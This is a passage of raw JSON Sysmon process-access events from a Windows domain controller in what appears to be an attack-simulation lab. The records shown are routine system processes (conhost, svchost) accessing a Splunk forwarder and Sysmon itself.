Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010D74B0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010D74B0F00}","TargetProcessId":"4372","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 